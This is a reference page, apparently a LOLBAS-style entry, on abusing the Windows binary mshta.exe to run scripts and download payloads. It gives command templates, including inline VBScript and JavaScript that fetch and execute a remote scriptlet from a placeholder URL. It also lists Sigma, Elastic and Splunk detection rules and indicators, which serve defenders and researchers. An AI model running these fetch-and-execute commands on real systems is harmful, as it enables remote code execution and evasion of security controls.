01 / TRADECRAFT
5 examplesCommand reference
Execute3
EXAMPLE 01T1218.005
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
COMMAND
mshta.exe {PATH:.hta}EXAMPLE 02T1218.005
Executes VBScript supplied as a command line argument.
COMMAND
mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))EXAMPLE 03T1218.005
Executes JavaScript supplied as a command line argument.
COMMAND
mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();ADS1
EXAMPLE 01T1218.005
Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
COMMAND
mshta.exe "{PATH_ABSOLUTE}:file.hta"Download1
EXAMPLE 01T1105
It will download a remote payload and place it in INetCache.
COMMAND
mshta.exe {REMOTEURL}02 / ON DISK
Known paths
C:\Windows\System32\mshta.exeC:\Windows\SysWOW64\mshta.exe03 / DEFENSIVE INTELLIGENCE
15 resourcesDetection & indicators
- Sigmaproc_creation_win_mshta_susp_pattern.ymlgithub.com
- Sigmaproc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.ymlgithub.com
- Sigmaproc_creation_win_mshta_lethalhta_technique.ymlgithub.com
- Sigmaproc_creation_win_mshta_javascript.ymlgithub.com
- Sigmafile_event_win_net_cli_artefact.ymlgithub.com
- Sigmaimage_load_susp_script_dotnet_clr_dll_load.ymlgithub.com
- Elasticdefense_evasion_mshta_beacon.tomlgithub.com
- Elasticlateral_movement_dcom_hta.tomlgithub.com
- Elasticdefense_evasion_suspicious_managedcode_host_process.tomlgithub.com
- Splunksuspicious_mshta_activity.ymlgithub.com
- Splunkdetect_mshta_renamed.ymlgithub.com
- Splunksuspicious_mshta_spawn.ymlgithub.com
- Splunksuspicious_mshta_child_process.ymlgithub.com
- Splunkdetect_mshta_url_in_command_line.ymlgithub.com
- BlockRulemicrosoft recommended block rulesdocs.microsoft.com
Indicators & detection notes
- IOC
mshta.exe executing raw or obfuscated script within the command-line
- IOC
General usage of HTA file
- IOC
msthta.exe network connection to Internet/WWW resource
- IOC
DotNet CLR libraries loaded into mshta.exe
- IOC
DotNet CLR Usage Log - mshta.exe.log
REFERENCE IMPLEMENTATIONS
Code samples
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Casey Smith@subtee
Oddvar Moe@oddvarmoe
Nir Chako (Pentera)@C_h4ck_0